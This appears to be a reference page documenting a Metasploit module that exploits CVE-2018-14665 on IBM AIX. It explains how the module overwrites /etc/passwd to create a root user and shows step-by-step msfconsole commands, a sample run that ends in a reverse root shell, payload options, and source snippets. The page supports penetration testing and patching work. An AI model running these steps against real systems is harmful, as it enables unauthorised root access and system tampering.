Xorg X11 Server Local Privilege Escalation - Metasploit

This page contains detailed information about how to use the exploit/aix/local/xorg_x11_server metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

Name: Xorg X11 Server Local Privilege Escalation
Module: exploit/aix/local/xorg_x11_server
Source code: modules/exploits/aix/local/xorg_x11_server.rb
Disclosure date: 2018-10-25
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2018-14665

WARNING: Successful execution of this module results in /etc/passwd being overwritten. This module is a port of the OpenBSD X11 Xorg exploit to run on AIX. A permission check flaw exists for -modulepath and -logfile options when starting Xorg. This allows unprivileged users that can start the server the ability to elevate privileges and run arbitrary code under root privileges. This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1. Due to permission restrictions of the crontab in AIX, this module does not use cron, and instead overwrites /etc/passwd in order to create a new user with root privileges. All currently logged in users need to be included when /etc/passwd is overwritten, else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user. The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX, and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when overwriting /etc/passwd.

Module Ranking and Traits

Module Ranking:

• great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.

Side Effects:

• config-changes: Module modifies some configuration setting on the target machine.

Basic Usage

Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/aix/local/xorg_x11_server
msf exploit(xorg_x11_server) > show targets
    ... a list of targets ...
msf exploit(xorg_x11_server) > set TARGET target-id
msf exploit(xorg_x11_server) > show options
    ... show and set options ...
msf exploit(xorg_x11_server) > set SESSION session-id
msf exploit(xorg_x11_server) > exploit

Required Options

• SESSION: The session to run this module on.

Knowledge Base

msf5 exploit(aix/local/xorg_x11_server) > set session 1
session => 1
msf5 exploit(aix/local/xorg_x11_server) > set writabledir /tmp
writabledir => /tmp
msf5 exploit(aix/local/xorg_x11_server) > run

[*] Started reverse TCP handler on 0.0.0.0:8888
[*] Xorg version is 7.2.3.0
[*] Retrieving currently logged in users
[*] Writing to /tmp/wow.ksh
[*] Backing up /etc/passwd to /tmp/passwd.backup
[*] Executing /tmp/wow.ksh
[*] Checking if we are root
[+] Got root!
[*] Writing to /tmp/wowee.ksh
[*] Executing shell payload
[*] Restoring original /etc/passwd
[*] Command shell session 2 opened (172.17.0.2:8888 -> 172.17.0.1:32948) at 2019-02-11 15:42:56 +0000
[+] Deleted /tmp/wow.ksh
[+] Deleted /tmp/passwd.backup
[+] Deleted /tmp/wowee.ksh

id
uid=0(root) gid=0(system)

Go back to menu.

Msfconsole Usage

Here is how the aix/local/xorg_x11_server exploit module looks in the msfconsole:

msf6 > use exploit/aix/local/xorg_x11_server

[*] Using configured payload cmd/unix/reverse_perl
msf6 exploit(aix/local/xorg_x11_server) > show info

       Name: Xorg X11 Server Local Privilege Escalation
     Module: exploit/aix/local/xorg_x11_server
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2018-10-25

Provided by:
  Narendra Shinde
  Zack Flack <[email protected]>

Module side effects:
 config-changes

Available targets:
  Id  Name
  --  ----
  0   IBM AIX Version 6.1
  1   IBM AIX Version 7.1
  2   IBM AIX Version 7.2

Check supported:
  Yes

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  SESSION                       yes       The session to run this module on.
  WritableDir  /tmp             yes       A directory where we can write files

Payload information:

Description:
  WARNING: Successful execution of this module results in /etc/passwd 
  being overwritten. This module is a port of the OpenBSD X11 Xorg 
  exploit to run on AIX. A permission check flaw exists for 
  -modulepath and -logfile options when starting Xorg. This allows 
  unprivileged users that can start the server the ability to elevate 
  privileges and run arbitrary code under root privileges. This module 
  has been tested with AIX 7.1 and 7.2, and should also work with 6.1. 
  Due to permission restrictions of the crontab in AIX, this module 
  does not use cron, and instead overwrites /etc/passwd in order to 
  create a new user with root privileges. All currently logged in 
  users need to be included when /etc/passwd is overwritten, else AIX 
  will throw 'Cannot get "LOGNAME" variable' when attempting to change 
  user. The Xorg '-fp' parameter used in the OpenBSD exploit does not 
  work on AIX, and is replaced by '-config', in conjuction with ANSI-C 
  quotes to inject newlines when overwriting /etc/passwd.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2018-14665
  https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html
  https://aix.software.ibm.com/aix/efixes/security/xorg_advisory3.asc
  https://github.com/dzflack/exploits/blob/master/aix/aixxorg.pl
  https://www.exploit-db.com/exploits/45938

Module Options

This is a complete list of options available in the aix/local/xorg_x11_server exploit:

msf6 exploit(aix/local/xorg_x11_server) > show options

Module options (exploit/aix/local/xorg_x11_server):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   SESSION                       yes       The session to run this module on.
   WritableDir  /tmp             yes       A directory where we can write files

Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   1   IBM AIX Version 7.1

Advanced Options

Here is a complete list of advanced options supported by the aix/local/xorg_x11_server exploit:

msf6 exploit(aix/local/xorg_x11_server) > show advanced

Module advanced options (exploit/aix/local/xorg_x11_server):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/reverse_perl):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the aix/local/xorg_x11_server module can exploit:

msf6 exploit(aix/local/xorg_x11_server) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   IBM AIX Version 6.1
   1   IBM AIX Version 7.1
   2   IBM AIX Version 7.2

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the aix/local/xorg_x11_server exploit:

msf6 exploit(aix/local/xorg_x11_server) > show payloads

Compatible Payloads
===================

   #  Name                               Disclosure Date  Rank    Check  Description
   -  ----                               ---------------  ----    -----  -----------
   0  payload/cmd/unix/bind_perl                          normal  No     Unix Command Shell, Bind TCP (via Perl)
   1  payload/cmd/unix/bind_perl_ipv6                     normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   2  payload/cmd/unix/reverse_perl                       normal  No     Unix Command Shell, Reverse TCP (via Perl)
   3  payload/cmd/unix/reverse_perl_ssl                   normal  No     Unix Command Shell, Reverse TCP SSL (via perl)

Evasion Options

Here is the full list of possible evasion options supported by the aix/local/xorg_x11_server exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(aix/local/xorg_x11_server) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages

This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Could not find Xorg executable

Here is a relevant code snippet related to the "Could not find Xorg executable" error message:

78:	  end
79:	
80:	  def check
81:	    xorg_path = cmd_exec('command -v Xorg')
82:	    if !xorg_path.include?('Xorg')
83:	      print_error('Could not find Xorg executable')
84:	      return Exploit::CheckCode::Safe
85:	    end
86:	
87:	    ksh93_path = cmd_exec('command -v ksh93')
88:	    if !ksh93_path.include?('ksh')

Could not find Ksh93 executable

Here is a relevant code snippet related to the "Could not find Ksh93 executable" error message:

84:	      return Exploit::CheckCode::Safe
85:	    end
86:	
87:	    ksh93_path = cmd_exec('command -v ksh93')
88:	    if !ksh93_path.include?('ksh')
89:	      print_error('Could not find Ksh93 executable')
90:	      return Exploit::CheckCode::Safe
91:	    end
92:	
93:	    if !xorg_vulnerable?
94:	      print_error('Xorg version is not vulnerable')

Xorg version is not vulnerable

Here is a relevant code snippet related to the "Xorg version is not vulnerable" error message:

89:	      print_error('Could not find Ksh93 executable')
90:	      return Exploit::CheckCode::Safe
91:	    end
92:	
93:	    if !xorg_vulnerable?
94:	      print_error('Xorg version is not vulnerable')
95:	      return Exploit::CheckCode::Safe
96:	    end
97:	
98:	    return Exploit::CheckCode::Appears
99:	  end

<WRITABLEDIR> is not writable

Here is a relevant code snippet related to the "<WRITABLEDIR> is not writable" error message:

104:	    if status == Exploit::CheckCode::Safe
105:	      fail_with(Failure::NotVulnerable, '')
106:	    end
107:	
108:	    if !writable?(datastore['WritableDir'])
109:	      fail_with(Failure::BadConfig, "#{datastore['WritableDir']} is not writable")
110:	    end
111:	
112:	    xorg_path = cmd_exec('command -v Xorg')
113:	    ksh93_path = cmd_exec('command -v ksh93')
114:	

Not root

Here is a relevant code snippet related to the "Not root" error message:

205:	    if id_output.include?('euid=0') || id_output.include?('uid=0')
206:	      print_good('Got root!')
207:	      return true
208:	    end
209:	
210:	    print_error('Not root')
211:	    false
212:	  end
213:	
214:	  def upload_and_chmodx(path, data)
215:	    print_status("Writing to #{path}")

Go back to menu.

Related Pull Requests

• #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
• #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
• #11390 Merged Pull Request: Add exploit module for Xorg X11 Server Local Privilege Escalation on AIX

References

• CVE-2018-14665
• https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html
• https://aix.software.ibm.com/aix/efixes/security/xorg_advisory3.asc
• https://github.com/dzflack/exploits/blob/master/aix/aixxorg.pl
• EDB-45938

See Also

Check also the following modules related to this module:

• exploit/multi/local/xorg_x11_suid_server
• exploit/multi/local/xorg_x11_suid_server_modulepath
• exploit/aix/local/ibstat_path
• exploit/linux/http/rancher_server
• exploit/linux/misc/qnap_transcode_server
• exploit/multi/misc/java_jmx_server
• exploit/multi/misc/java_rmi_server
• exploit/windows/browser/yahoomessenger_server
• exploit/windows/ftp/xlink_server
• exploit/windows/misc/bigant_server
• exploit/windows/misc/hta_server
• exploit/windows/misc/mirc_privmsg_server
• exploit/windows/scada/codesys_web_server
• exploit/windows/scada/procyon_core_server
• auxiliary/scanner/x11/open_x11
• exploit/unix/x11/x11_keyboard_exec
• exploit/aix/rpc_ttdbserverd_realpath
• exploit/aix/rpc_cmsd_opcode21
• payload/aix/ppc/shell_bind_tcp
• payload/aix/ppc/shell_find_port
• payload/aix/ppc/shell_interact
• payload/aix/ppc/shell_reverse_tcp
• post/aix/hashdump
• post/multi/gather/unix_cached_ad_hashes
• post/multi/gather/unix_kerberos_tickets
• post/multi/manage/sudo

Related Nessus plugins:

• SUSE SLES11 Security Update : xorg-x11-server (SUSE-SU-2018:3456-1)
• Debian DSA-4328-1 : xorg-server - security update
• Ubuntu 16.04 LTS / 18.04 LTS / 18.10 : X.Org X server vulnerability (USN-3802-1)
• GLSA-201810-09 : X.Org X Server: Privilege escalation
• RHEL 7 : xorg-x11-server (RHSA-2018:3410)
• Oracle Linux 7 : xorg-x11-server (ELSA-2018-3410)
• CentOS 7 : xorg-x11-server (CESA-2018:3410)
• openSUSE Security Update : xorg-x11-server (openSUSE-2018-1420)
• Scientific Linux Security Update : xorg-x11-server on SL7.x x86_64 (20181031)
• AIX 6.1 TL 9 : xorg (IJ11000)

Authors

• Narendra Shinde
• Zack Flack <dzflack[at]gmail.com>

Version

This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.